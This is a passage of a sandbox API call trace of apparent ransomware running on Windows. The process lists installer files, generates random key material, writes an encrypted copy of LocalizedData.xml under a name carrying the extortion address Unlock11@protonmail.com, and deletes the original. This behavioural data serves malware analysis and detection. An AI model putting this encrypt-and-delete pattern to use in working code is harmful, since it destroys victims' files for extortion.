nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.747] GetLastError () returned 0x0 [0114.747] GetCurrentThreadId () returned 0x9b0 [0114.747] GetLastError () returned 0x0 [0114.747] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.747] GetLastError () returned 0x12 [0114.748] GetCurrentThreadId () returned 0x9b0 [0114.748] GetLastError () returned 0x12 [0114.748] GetLastError () returned 0x12 [0114.748] FindClose (in: hFindFile=0x10f7590 | out: hFindFile=0x10f7590) returned 1 [0114.748] GetLastError () returned 0x12 [0114.748] GetLastError () returned 0x12 [0114.748] GetLastError () returned 0x12 [0114.748] GetLastError () returned 0x12 [0114.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.748] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0114.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0114.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0114.749] GetCurrentThreadId () returned 0x9b0 [0114.749] GetLastError () returned 0x12 [0114.749] GetLastError () returned 0x12 [0114.749] GetLastError () returned 0x12 [0114.749] GetLastError () returned 0x12 [0114.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.749] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0114.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.749] GetLastError () returned 0x12 [0114.750] GetLastError () returned 0x12 [0114.750] GetLastError () returned 0x12 [0114.750] GetLastError () returned 0x12 [0114.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.750] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0114.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.751] GetCurrentThreadId () returned 0x9b0 [0114.751] GetLastError () returned 0x12 [0114.751] GetLastError () returned 0x12 [0114.751] GetLastError () returned 0x12 [0114.751] GetLastError () returned 0x12 [0114.751] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0114.751] GetCurrentThreadId () returned 0x9b0 [0114.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.751] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0114.751] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.752] GetLastError () returned 0x12 [0114.752] GetLastError () returned 0x12 [0114.752] GetLastError () returned 0x12 [0114.752] GetLastError () returned 0x12 [0114.752] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.752] GetCurrentThreadId () returned 0x9b0 [0114.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0114.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0114.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0114.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.753] GetLastError () returned 0x0 [0114.753] GetLastError () returned 0x0 [0114.753] GetLastError () returned 0x0 [0114.753] GetLastError () returned 0x0 [0114.753] GetCurrentThreadId () returned 0x9b0 [0114.753] GetLastError () returned 0x0 [0114.753] GetCurrentThreadId () returned 0x9b0 [0114.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.753] GetLastError () returned 0x0 [0114.753] GetLastError () returned 0x0 [0114.753] GetLastError () returned 0x0 [0114.754] GetLastError () returned 0x0 [0114.754] GetCurrentThreadId () returned 0x9b0 [0114.754] GetLastError () returned 0x0 [0114.754] GetLastError () returned 0x0 [0114.754] GetLastError () returned 0x0 [0114.754] GetLastError () returned 0x0 [0114.754] GetLastError () returned 0x0 [0114.754] GetCurrentThreadId () returned 0x9b0 [0114.754] GetLastError () returned 0x0 [0114.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.754] GetLastError () returned 0x0 [0114.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0114.755] GetLastError () returned 0x0 [0114.755] GetLastError () returned 0x0 [0114.755] GetLastError () returned 0x0 [0114.755] GetCurrentThreadId () returned 0x9b0 [0114.755] GetLastError () returned 0x0 [0114.755] GetCurrentThreadId () returned 0x9b0 [0114.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a928 [0114.755] GetLastError () returned 0x0 [0114.755] GetLastError () returned 0x0 [0114.755] GetLastError () returned 0x0 [0114.755] GetLastError () returned 0x0 [0114.755] GetCurrentThreadId () returned 0x9b0 [0114.755] GetLastError () returned 0x0 [0114.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0114.756] GetLastError () returned 0x0 [0114.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0114.756] GetLastError () returned 0x0 [0114.756] GetLastError () returned 0x0 [0114.756] GetLastError () returned 0x0 [0114.756] GetCurrentThreadId () returned 0x9b0 [0114.756] GetLastError () returned 0x0 [0114.756] GetLastError () returned 0x0 [0114.756] GetLastError () returned 0x0 [0114.756] GetLastError () returned 0x0 [0114.757] GetLastError () returned 0x0 [0114.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0114.757] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e)) returned 1 [0114.757] GetLastError () returned 0x0 [0114.757] GetCurrentThreadId () returned 0x9b0 [0114.757] GetLastError () returned 0x0 [0114.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.757] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36647dc | out: pbBuffer=0x36647dc) returned 1 [0114.757] GetCurrentThreadId () returned 0x9b0 [0114.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0114.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0114.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.758] GetLastError () returned 0x0 [0114.758] GetLastError () returned 0x0 [0114.758] GetLastError () returned 0x0 [0114.758] GetLastError () returned 0x0 [0114.758] GetCurrentThreadId () returned 0x9b0 [0114.758] GetLastError () returned 0x0 [0114.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.758] GetCurrentThreadId () returned 0x9b0 [0114.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.758] GetLastError () returned 0x0 [0114.759] GetLastError () returned 0x0 [0114.759] GetLastError () returned 0x0 [0114.759] GetLastError () returned 0x0 [0114.759] GetCurrentThreadId () returned 0x9b0 [0114.759] GetLastError () returned 0x0 [0114.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c08 [0114.759] GetCurrentThreadId () returned 0x9b0 [0114.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.759] GetLastError () returned 0x0 [0114.759] GetLastError () returned 0x0 [0114.759] GetLastError () returned 0x0 [0114.760] GetLastError () returned 0x0 [0114.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c88 [0114.760] GetLastError () returned 0x0 [0114.760] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.760] GetFileType (hFile=0x39c) returned 0x1 [0114.760] GetLastError () returned 0x0 [0114.760] GetCurrentThreadId () returned 0x9b0 [0114.760] GetLastError () returned 0x0 [0114.760] GetFileType (hFile=0x39c) returned 0x1 [0114.761] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.761] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.761] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.761] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.761] GetLastError () returned 0x0 [0114.761] GetCurrentThreadId () returned 0x9b0 [0114.761] GetLastError () returned 0x0 [0114.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.761] GetLastError () returned 0x0 [0114.762] GetLastError () returned 0x0 [0114.762] GetLastError () returned 0x0 [0114.762] GetLastError () returned 0x0 [0114.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d28 [0114.762] GetLastError () returned 0x0 [0114.762] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.770] GetFileType (hFile=0x3ac) returned 0x1 [0114.770] GetLastError () returned 0x0 [0114.770] GetCurrentThreadId () returned 0x9b0 [0114.771] GetLastError () returned 0x0 [0114.771] GetFileType (hFile=0x3ac) returned 0x1 [0114.771] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.771] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.771] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.771] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.771] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.771] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.771] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.771] GetLastError () returned 0x0 [0114.771] GetCurrentThreadId () returned 0x9b0 [0114.771] GetLastError () returned 0x0 [0114.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d28 | out: hHeap=0x2ad0000) returned 1 [0114.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2250 | out: hHeap=0x2ad0000) returned 1 [0114.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0114.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0114.772] GetLastError () returned 0x0 [0114.772] GetLastError () returned 0x0 [0114.772] GetCurrentThreadId () returned 0x9b0 [0114.772] GetLastError () returned 0x0 [0114.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.772] GetLastError () returned 0x0 [0114.772] GetLastError () returned 0x0 [0114.772] GetCurrentThreadId () returned 0x9b0 [0114.772] GetLastError () returned 0x0 [0114.773] GetLastError () returned 0x0 [0114.774] GetLastError () returned 0x0 [0114.775] GetCurrentThreadId () returned 0x9b0 [0114.775] GetLastError () returned 0x0 [0114.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c08 | out: hHeap=0x2ad0000) returned 1 [0114.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.775] GetLastError () returned 0x0 [0114.775] GetLastError () returned 0x0 [0114.775] GetLastError () returned 0x0 [0114.775] GetLastError () returned 0x0 [0114.775] GetCurrentThreadId () returned 0x9b0 [0114.776] GetLastError () returned 0x0 [0114.776] GetCurrentThreadId () returned 0x9b0 [0114.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0114.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0114.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0114.776] GetLastError () returned 0x0 [0114.778] GetLastError () returned 0x0 [0114.778] GetCurrentThreadId () returned 0x9b0 [0114.778] GetLastError () returned 0x0 [0114.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.778] GetLastError () returned 0x0 [0114.778] GetLastError () returned 0x0 [0114.779] GetCurrentThreadId () returned 0x9b0 [0114.779] GetLastError () returned 0x0 [0114.779] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3993) returned 0x36f8548 [0114.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.779] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3995) returned 0x36f8548 [0114.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6be8 [0114.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d28 | out: hHeap=0x2ad0000) returned 1 [0114.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3998) returned 0x3887a10 [0114.779] GetLastError () returned 0x0 [0114.779] GetLastError () returned 0x0 [0114.779] GetLastError () returned 0x0 [0114.779] GetLastError () returned 0x0 [0114.779] GetCurrentThreadId () returned 0x9b0 [0114.780] GetLastError () returned 0x0 [0114.780] GetCurrentThreadId () returned 0x9b0 [0114.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3995) returned 0x388b3b0 [0114.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0114.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.780] GetLastError () returned 0x0 [0114.780] GetLastError () returned 0x0 [0114.780] GetCurrentThreadId () returned 0x9b0 [0114.780] GetLastError () returned 0x0 [0114.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388b3b0 | out: hHeap=0x2ad0000) returned 1 [0114.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.781] GetLastError () returned 0x0 [0114.781] GetLastError () returned 0x0 [0114.781] GetCurrentThreadId () returned 0x9b0 [0114.781] GetLastError () returned 0x0 [0114.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.781] GetLastError () returned 0x0 [0114.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0114.782] CloseHandle (hObject=0x3ac) returned 1 [0114.782] GetLastError () returned 0x0 [0114.782] GetCurrentThreadId () returned 0x9b0 [0114.782] GetLastError () returned 0x0 [0114.782] GetLastError () returned 0x0 [0114.782] CloseHandle (hObject=0x39c) returned 1 [0114.782] GetLastError () returned 0x0 [0114.782] GetCurrentThreadId () returned 0x9b0 [0114.782] GetLastError () returned 0x0 [0114.782] GetLastError () returned 0x0 [0114.783] GetLastError () returned 0x0 [0114.783] GetLastError () returned 0x0 [0114.783] GetLastError () returned 0x0 [0114.783] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0114.784] GetLastError () returned 0x0 [0114.784] GetCurrentThreadId () returned 0x9b0 [0114.784] GetLastError () returned 0x0 [0114.784] GetLastError () returned 0x0 [0114.785] GetLastError () returned 0x0 [0114.785] GetLastError () returned 0x0 [0114.785] GetLastError () returned 0x0 [0114.785] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\2070\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.785] GetCurrentThreadId () returned 0x9b0 [0114.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0114.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0114.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.785] GetCurrentThreadId () returned 0x9b0 [0114.786] GetLastError () returned 0x0 [0114.786] GetLastError () returned 0x0 [0114.786] GetLastError () returned 0x0 [0114.786] GetLastError () returned 0x0 [0114.786] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0114.786] GetLastError () returned 0x0 [0114.786] GetCurrentThreadId () returned 0x9b0 [0114.786] GetLastError () returned 0x0 [0114.786] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.786] GetLastError () returned 0x0 [0114.786] GetCurrentThreadId () returned 0x9b0 [0114.787] GetLastError () returned 0x0 [0114.787] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.787] GetLastError () returned 0x0 [0114.787] GetCurrentThreadId () returned 0x9b0 [0114.787] GetLastError () returned 0x0 [0114.787] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.787] GetLastError () returned 0x0 [0114.787] GetCurrentThreadId () returned 0x9b0 [0114.787] GetLastError () returned 0x0 [0114.787] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.787] GetLastError () returned 0x0 [0114.787] GetCurrentThreadId () returned 0x9b0 [0114.787] GetLastError () returned 0x0 [0114.787] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.788] GetLastError () returned 0x12 [0114.788] GetCurrentThreadId () returned 0x9b0 [0114.788] GetLastError () returned 0x12 [0114.788] GetLastError () returned 0x12 [0114.788] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0114.788] GetLastError () returned 0x12 [0114.788] GetLastError () returned 0x12 [0114.788] GetLastError () returned 0x12 [0114.788] GetLastError () returned 0x12 [0114.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.788] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0114.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0114.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0114.789] GetCurrentThreadId () returned 0x9b0 [0114.789] GetLastError () returned 0x12 [0114.789] GetLastError () returned 0x12 [0114.789] GetLastError () returned 0x12 [0114.789] GetLastError () returned 0x12 [0114.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.789] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: 